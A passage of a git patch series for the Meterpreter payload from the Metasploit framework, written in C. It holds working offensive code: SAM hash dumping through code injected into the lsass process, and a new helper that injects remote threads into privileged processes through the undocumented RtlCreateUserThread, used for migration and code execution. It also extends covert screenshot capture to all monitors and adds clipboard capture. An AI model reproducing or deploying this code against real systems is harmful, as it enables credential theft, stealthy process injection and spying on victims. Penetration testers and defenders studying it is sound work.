-		VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE);
+		VirtualFreeEx(hLsassHandle, pvFunctionMemory, dwFunctionSize, MEM_RELEASE);
 	}
 
 	/* free the remote thread handle */
@@ -880,8 +1032,11 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 	return dwError;
 }
 
-/*
- * Grabs the LanMan Hashes from the SAM database.
+/*!
+ * @brief Handler called by Meterpreter to dump SAM hashes remotely.
+ * @param remote Pointer to the \c Remote instance for this request.
+ * @param packet Pointer to the \c Packet containing the request.
+ * @returns Indication of success or failure.
  */
 DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
 {
@@ -891,10 +1046,10 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
 
 	do
 	{
+		dprintf("[PASSWD] starting hash dumping");
 		// Get the hashes
-		if (control(120000, &hashes))
+		if ((res = control(120000, &hashes)) != ERROR_SUCCESS)
 		{
-			res = GetLastError();
 			break;
 		}
 
@@ -905,7 +1060,9 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
 	packet_transmit_response(res, remote, response);
 
 	if (hashes)
+	{
 		free(hashes);
+	}
 
 	return res;
 }

From a7f2458a4e4b0bfb2987b3f26edede28a8b66539 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 24 Jan 2014 21:53:50 +1000
Subject: [PATCH 09/20] Force "warnings as errors" in stdapi

This should have been done ages ago, not sure why I need to do it again.
---
 .../workspace/ext_server_stdapi/ext_server_stdapi.vcxproj     | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
index 4a1ac841..532fbe4f 100644
--- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
@@ -166,6 +166,7 @@
       <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
       <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
       <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
+      <TreatWarningAsError>true</TreatWarningAsError>
     </ClCompile>
     <ResourceCompile>
       <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
@@ -227,6 +228,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
       <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
       <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
+      <TreatWarningAsError>true</TreatWarningAsError>
     </ClCompile>
     <ResourceCompile>
       <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
@@ -400,6 +402,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
       <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
       <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
+      <TreatWarningAsError>true</TreatWarningAsError>
     </ClCompile>
     <ResourceCompile>
       <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
@@ -461,6 +464,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
       <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
       <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
+      <TreatWarningAsError>true</TreatWarningAsError>
     </ClCompile>
     <ResourceCompile>
       <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>

From 633851be56603a1b8dde23d1eb998a8c49a67ee8 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 24 Jan 2014 23:11:47 +1000
Subject: [PATCH 10/20] Updated other uses of CreateRemoteThread

Make use of the new create_remote_thread function so that it
is used by other areas of the code, including migration.
---
 .../source/common/arch/win/i386/base_inject.c | 66 +++++++-------
 .../source/common/arch/win/remote_thread.c    | 85 +++++++++++++++++++
 .../source/common/arch/win/remote_thread.h    |  6 ++
 c/meterpreter/source/common/common.h          |  2 +-
 .../source/extensions/priv/server/passwd.c    | 73 +---------------
 .../source/extensions/priv/server/precomp.h   |  1 +
 .../stdapi/server/sys/process/thread.c        |  5 +-
 .../stdapi/server/sys/process/util.c          | 36 ++++----
 c/meterpreter/workspace/common/common.vcxproj |  4 +-
 9 files changed, 153 insertions(+), 125 deletions(-)
 create mode 100644 c/meterpreter/source/common/arch/win/remote_thread.c
 create mode 100644 c/meterpreter/source/common/arch/win/remote_thread.h

diff --git a/c/meterpreter/source/common/arch/win/i386/base_inject.c b/c/meterpreter/source/common/arch/win/i386/base_inject.c
index b6e14e4b..12aadf59 100644
--- a/c/meterpreter/source/common/arch/win/i386/base_inject.c
+++ b/c/meterpreter/source/common/arch/win/i386/base_inject.c
@@ -1,5 +1,6 @@
 #include "common.h"
 #include "base_inject.h"
+#include "../remote_thread.h"
 #include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
 #include <Tlhelp32.h>
 
@@ -420,59 +421,64 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
 /*
  * Attempte to gain code execution in the remote process by creating a remote thread in the target process.
  */
-DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
+DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
 {
-	DWORD dwResult    = ERROR_SUCCESS;
+	DWORD dwResult = ERROR_SUCCESS;
 	DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
-	HANDLE hThread    = NULL;
-	DWORD dwThreadId  = 0;
+	HANDLE hThread = NULL;
 
 	do
 	{
 		// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
 		// fails, giving us a chance to try an alternative method or fail migration gracefully.
-		hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
-		if( !hThread )
+		hThread = create_remote_thread(hProcess, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
+		if (!hThread)
 		{
-			if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
+			if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
 			{
-				// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
-
 				dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
 
-				if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
-					BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
+				if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
+				{
+					BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
+				}
 			}
 			else
 			{
-				BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
+				BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
 			}
 		}
-
-		if( remote && response )
+		else
 		{
-			dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." );
-			// Send a successful response to let the ruby side know that we've pretty
-			// much successfully migrated and have reached the point of no return
-			packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
-			packet_transmit_response( ERROR_SUCCESS, remote, response );
-
-			dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." );
-			// Sleep to give the remote side a chance to catch up...
-			Sleep( 2000 );
+			dprintf("[INJECT] inject_via_remotethread: succeeded");
 		}
 
-		dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
+		if (remote && response)
+		{
+			dprintf("[INJECT] inject_via_remotethread: Sending a migrate response...");
+			// Send a successful response to let the ruby side know that we've pretty
+			// much successfully migrated and have reached the point of no return
+			packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique);
+			packet_transmit_response(ERROR_SUCCESS, remote, response);
+
+			dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
+			// Sleep to give the remote side a chance to catch up...
+			Sleep(2000);
+		}
+
+		dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
 		// Resume the injected thread...
-		if( ResumeThread( hThread ) == (DWORD)-1 )
-			BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
+		if (ResumeThread(hThread) == (DWORD)-1)
+			BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
 
-	} while( 0 );
+	} while (0);
 
-	if( hThread )
-		CloseHandle( hThread );
+	if (hThread)
+	{
+		CloseHandle(hThread);
+	}
 
-	SetLastError( dwResult );
+	SetLastError(dwResult);
 
 	return dwResult;
 }
diff --git a/c/meterpreter/source/common/arch/win/remote_thread.c b/c/meterpreter/source/common/arch/win/remote_thread.c
new file mode 100644
index 00000000..b7e69980
--- /dev/null
+++ b/c/meterpreter/source/common/arch/win/remote_thread.c
@@ -0,0 +1,85 @@
+#include "common.h"
+#include "remote_thread.h"
+
+/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
+typedef struct _MIMI_CLIENT_ID {
+	PVOID UniqueProcess;
+	PVOID UniqueThread;
+} CLIENTID;
+
+/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
+typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
+/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
+static PRtlCreateUserThread pRtlCreateUserThread = NULL;
+/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
+static BOOL pRtlCreateUserThreadAttempted = FALSE;
+
+/*!
+ * @brief Helper function for creating a remote thread in a privileged process.
+ * @param hProcess Handle to the target processj.
+ * @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
+ * @param pvStartParam Pointer to the parameter to pass to the thread function.
+ * @param dwCreateFlags Creation flags to use when creating the new thread.
+ * @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
+ * @return Handle to the new thread.
+ * @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
+ * @remark This function has been put in place to wrap up the handling of creating remote threads
+ *         in privileged processes across all operating systems. In Windows XP and earlier, the
+ *         \c CreateRemoteThread() function was sufficient to handle this case, however this changed
+ *         in Vista and has been that way since. For Vista onwards, the use of the hidden API function
+ *         \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
+ *         first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
+ *         existing behaviour is kept for when running on XP and earlier, or when the user is already
+ *         running within a privileged process.
+ */
+HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
+{
+	NTSTATUS ntResult;
+	BOOL bCreateSuspended;
+	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
+
+	// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
+	// on Vista and later.
+	if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
+	{
+		dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options");
+		hThread = NULL;
+
+		// Only attempt to load the function pointer if we haven't attempted it already.
+		if (!pRtlCreateUserThreadAttempted)
+		{
+			if (pRtlCreateUserThread == NULL)
+			{
+				pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
+				if (pRtlCreateUserThread)
+				{
+					dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
+				}
+			}
+			pRtlCreateUserThreadAttempted = TRUE;
+		}
+
+		// if at this point we don't have a valid pointer, it means that we don't have this function available
+		// on the current OS
+		if (pRtlCreateUserThread)
+		{
+			dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread");
+			bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
+			ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL);
+			SetLastError(ntResult);
+
+			if (ntResult == 0 && pdwThreadId)
+			{
+				*pdwThreadId = GetThreadId(hThread);
+			}
+		}
+		else
+		{
+			// restore the previous error so that it looks like we haven't done anything else
+			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
+		}
+	}
+
+	return hThread;
+}
+
diff --git a/c/meterpreter/source/common/arch/win/remote_thread.h b/c/meterpreter/source/common/arch/win/remote_thread.h
new file mode 100644
index 00000000..2aeeb36e
--- /dev/null
+++ b/c/meterpreter/source/common/arch/win/remote_thread.h
@@ -0,0 +1,6 @@
+#ifndef _METERPRETER_REMOTE_THREAD_H
+#define _METERPRETER_REMOTE_THREAD_H
+
+HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
+
+#endif
\ No newline at end of file
diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h
index 697737b4..64495bfc 100644
--- a/c/meterpreter/source/common/common.h
+++ b/c/meterpreter/source/common/common.h
@@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 #include <wininet.h>
 
 /*! @brief When defined, debug output is enabled on Windows builds. */
-//#define DEBUGTRACE 1
+#define DEBUGTRACE 1
 
 #ifdef DEBUGTRACE
 #define dprintf(...) real_dprintf(__VA_ARGS__)
diff --git a/c/meterpreter/source/extensions/priv/server/passwd.c b/c/meterpreter/source/extensions/priv/server/passwd.c
index 18469492..cc0a1583 100644
--- a/c/meterpreter/source/extensions/priv/server/passwd.c
+++ b/c/meterpreter/source/extensions/priv/server/passwd.c
@@ -138,77 +138,6 @@ typedef void *(*MemcpyType)(void *, const void *, size_t);
 /* define types for ntdll */
 typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);
 
-/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
-typedef struct _MIMI_CLIENT_ID {
-	PVOID UniqueProcess;
-	PVOID UniqueThread;
-} CLIENTID;
-
-/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
-typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, char, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
-/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
-static PRtlCreateUserThread pRtlCreateUserThread = NULL;
-/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
-static BOOL pRtlCreateUserThreadAttempted = FALSE;
-
-/*!
- * @brief Helper function for creating a remote thread in a privileged process.
- * @param hProcess Handle to the target processj.
- * @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
- * @param pvStartParam Pointer to the parameter to pass to the thread function.
- * @return Handle to the new thread.
- * @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
- * @remark This function has been put in place to wrap up the handling of creating remote threads
- *         in privileged processes across all operating systems. In Windows XP and earlier, the
- *         \c CreateRemoteThread() function was sufficient to handle this case, however this changed
- *         in Vista and has been that way since. For Vista onwards, the use of the hidden API function
- *         \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
- *         first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
- *         existing behaviour is kept for when running on XP and earlier, or when the user is already
- *         running within a privileged process.
- */
-HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam)
-{
-	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, 0, NULL);
-
-	// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
-	// on Vista and later.
-	if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
-	{
-		dprintf("[PASSWD] CreateRemoteThread seems to lack permissions, trying alternative options");
-		hThread = NULL;
-
-		// Only attempt to load the function pointer if we haven't attempted it already.
-		if (!pRtlCreateUserThreadAttempted)
-		{
-			if (pRtlCreateUserThread == NULL)
-			{
-				pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
-				if (pRtlCreateUserThread)
-				{
-					dprintf("[PASSWD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
-				}
-			}
-			pRtlCreateUserThreadAttempted = TRUE;
-		}
-
-		// if at this point we don't have a valid pointer, it means that we don't have this function available
-		// on the current OS
-		if (pRtlCreateUserThread)
-		{
-			dprintf("[PASSWD] Attempting thread creation with RtlCreateUserThread");
-			SetLastError(pRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL));
-		}
-		else
-		{
-			// restore the previous error so that it looks like we haven't done anything else
-			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
-		}
-	}
-
-	return hThread;
-}
-
 char *string_combine(char *string1, char *string2)
 {
 	size_t s1len, s2len;
@@ -846,7 +775,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
 		sBytesWritten = 0;
 
 		/* start the remote thread */
-		if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory)) == NULL)
+		if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
 		{
 			dwError = GetLastError();
 			dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
diff --git a/c/meterpreter/source/extensions/priv/server/precomp.h b/c/meterpreter/source/extensions/priv/server/precomp.h
index 812abaa9..f6e75340 100644
--- a/c/meterpreter/source/extensions/priv/server/precomp.h
+++ b/c/meterpreter/source/extensions/priv/server/precomp.h
@@ -6,6 +6,7 @@
 #include "./elevate/elevate.h"
 #include "passwd.h"
 #include "fs.h"
+#include "../../../common//arch/win/remote_thread.h"
 
 #include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
 #include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
index 53800448..ae17474b 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
@@ -1,4 +1,5 @@
 #include "precomp.h"
+#include "../../../../../common/arch/win/remote_thread.h"
 
 ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name,
 	DWORD size);
@@ -89,9 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
 		}
 
 		// Create the thread in the process supplied
-		if (!(thread = CreateRemoteThread(process, NULL, 0, 
-				(LPTHREAD_START_ROUTINE)entryPoint, entryParam, createFlags,
-				&threadId)))
+		if (!(thread = create_remote_thread(process, entryPoint, entryParam, createFlags, &threadId)))
 		{
 			result = GetLastError();
 			break;
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c
index 1948fe65..0efc0ffd 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c
@@ -1,7 +1,8 @@
 #include "precomp.h"
+#include "../../../../../common/arch/win/remote_thread.h"
 
 DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
-		LPVOID *buffer, DWORD length, DWORD prot);
+	LPVOID *buffer, DWORD length, DWORD prot);
 
 /*
  * Executes a portion of code in the address space of the supplied process
@@ -10,7 +11,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
  * FIXME: can-block
  */
 DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
-		LPVOID parameter, DWORD parameterLength, LPDWORD rv)
+	LPVOID parameter, DWORD parameterLength, LPDWORD rv)
 {
 	HANDLE thread = NULL;
 	LPVOID paramInProcess = (LPVOID)parameter;
@@ -23,25 +24,26 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
 	{ 
 		// Copy the code and parameter storage
 		if ((result = copy_memory_to_process(process, TRUE, &codeInProcess,
-				length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
+			length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
+		{
 			break;
+		}
 		
 		if ((result = copy_memory_to_process(process, TRUE, &paramInProcess,
-				parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
+			parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
+		{
 			break;
+		}
 
 		// Create the thread in the target process
-		if (!(thread = CreateRemoteThread(process, NULL, 0, 
-				(LPTHREAD_START_ROUTINE)codeInProcess, paramInProcess, 
-				0, &threadId)))
+		if (!(thread = create_remote_thread(process, codeInProcess, paramInProcess, 0, &threadId)))
 		{
 			result = GetLastError();
 			break;
 		}
 
 		// Wait for the thread to terminate
-		while ((wait = WaitForSingleObjectEx(thread, 1000, 
-				TRUE)) != WAIT_OBJECT_0)
+		while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0)
 		{
 			if (wait == WAIT_FAILED)
 			{
@@ -51,7 +53,9 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
 		}
 		
 		if (rv)
+		{
 			GetExitCodeThread(thread, rv);
+		}
 
 		// Free the memory in the process
 		if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) ||
@@ -60,13 +64,13 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
 			result = GetLastError();
 			break;
 		}
-		
-
 	} while (0);
 
 	// Close the thread handle if one was obtained
 	if (thread)
+	{
 		CloseHandle(thread);
+	}
 
 	return result;
 }
@@ -86,8 +90,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
 		if (allocate)
 		{
 			// Allocate storage for the buffer
-			if (!(remoteBuffer = VirtualAllocEx(process, NULL,
-					length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
+			if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
 			{
 				result = GetLastError();
 				break;
@@ -95,8 +98,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
 		}
 
 		// Copy the memory from local to remote
-		if (!WriteProcessMemory(process, remoteBuffer, 
-				*buffer, length, &written))
+		if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written))
 		{
 			result = GetLastError();
 			break;
@@ -107,14 +109,12 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
 		{
 			DWORD old;
 
-			if (!VirtualProtectEx(process, remoteBuffer, length,
-					prot, &old))
+			if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old))
 			{
 				result = GetLastError();
 				break;
 			}
 		}
-
 	} while (0);
 
 	// Update the buffer pointer
diff --git a/c/meterpreter/workspace/common/common.vcxproj b/c/meterpreter/workspace/common/common.vcxproj
index f76a5b80..0945625e 100644
--- a/c/meterpreter/workspace/common/common.vcxproj
+++ b/c/meterpreter/workspace/common/common.vcxproj
@@ -446,6 +446,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
     </Lib>
   </ItemDefinitionGroup>
   <ItemGroup>
+    <ClCompile Include="..\..\source\common\arch\win\remote_thread.c" />
     <ClCompile Include="..\..\source\common\args.c" />
     <ClCompile Include="..\..\source\common\base.c" />
     <ClCompile Include="..\..\source\common\arch\win\i386\base_dispatch.c" />
@@ -465,6 +466,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
     <ClCompile Include="..\..\source\common\zlib\zlib.c" />
   </ItemGroup>
   <ItemGroup>
+    <ClInclude Include="..\..\source\common\arch\win\remote_thread.h" />
     <ClInclude Include="..\..\source\common\crypto\xor.h" />
     <ClInclude Include="..\..\source\common\args.h" />
     <ClInclude Include="..\..\source\common\base.h" />
@@ -491,4 +493,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
+</Project>
\ No newline at end of file

From b03c074bf12ca7f9344feced24ce545a0ab8e7c4 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Sun, 26 Jan 2014 08:13:28 +1000
Subject: [PATCH 11/20] Comment out debug tracing

---
 c/meterpreter/source/common/common.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h
index 64495bfc..697737b4 100644
--- a/c/meterpreter/source/common/common.h
+++ b/c/meterpreter/source/common/common.h
@@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 #include <wininet.h>
 
 /*! @brief When defined, debug output is enabled on Windows builds. */
-#define DEBUGTRACE 1
+//#define DEBUGTRACE 1
 
 #ifdef DEBUGTRACE
 #define dprintf(...) real_dprintf(__VA_ARGS__)

From 6041f973c587944c1e89d06cd0feb9ae40e1801f Mon Sep 17 00:00:00 2001
From: DiabloHorn <diablohorn@gmail.com>
Date: Mon, 27 Jan 2014 22:51:40 +0100
Subject: [PATCH 12/20] added default multi monitor support

---
 c/meterpreter/source/screenshot/screenshot.c | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/c/meterpreter/source/screenshot/screenshot.c b/c/meterpreter/source/screenshot/screenshot.c
index 57e5f4ec..52f3492d 100644
--- a/c/meterpreter/source/screenshot/screenshot.c
+++ b/c/meterpreter/source/screenshot/screenshot.c
@@ -72,9 +72,13 @@ DWORD screenshot( int quality, DWORD dwPipeName )
 	// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
 	int xmetric               = SM_CXVIRTUALSCREEN;
 	int ymetric               = SM_CYVIRTUALSCREEN;
+	int xposition             = SM_XVIRTUALSCREEN;
+	int yposition             = SM_YVIRTUALSCREEN;
 	DWORD dwJpegSize          = 0;
 	int sx                    = 0;
 	int sy                    = 0;
+	int sxpos                 = 0;
+	int sypos                 = 0;
 
 	do
 	{
@@ -139,6 +143,15 @@ DWORD screenshot( int quality, DWORD dwPipeName )
 		sx = GetSystemMetrics( xmetric );
 		sy = GetSystemMetrics( ymetric );
 
+		// calculate the absolute virtual screen position
+		// prevent breaking functionality on <= NT 4.0
+		if (os.dwMajorVersion >= 4)
+		{
+			sxpos = GetSystemMetrics(xposition);
+			sypos = GetSystemMetrics(yposition);
+		}
+
+
 		// and create a bitmap
 		hbmp = CreateCompatibleBitmap( hdc, sx, sy );
 		if( !hbmp )
@@ -149,7 +162,8 @@ DWORD screenshot( int quality, DWORD dwPipeName )
 			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
 
 		// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created 
-		if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
+		// screenshot all available monitors by default
+		if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, SRCCOPY ) )
 			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
 
 		// finally convert the BMP we just made into a JPEG...

From 54b596674de52c0ad10e37f609515d764250673e Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 29 Jan 2014 14:51:27 +1000
Subject: [PATCH 13/20] Add purge and dump functionality, remove dup caps

This no longer captures duplicate content if the user does the same
thing twice.
---
 .../source/extensions/extapi/clipboard.c      | 142 +++++++++++++++++-
 .../source/extensions/extapi/clipboard.h      |   1 +
 .../source/extensions/extapi/extapi.c         |   1 +
 .../source/extensions/extapi/extapi.h         |   2 +-
 4 files changed, 137 insertions(+), 9 deletions(-)

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index c83e014f..bbea3338 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -7,9 +7,6 @@
 #include "clipboard.h"
 #include "clipboard_image.h"
 
-/*! @brief the Limit on the size of the data we'll keep in memory. */
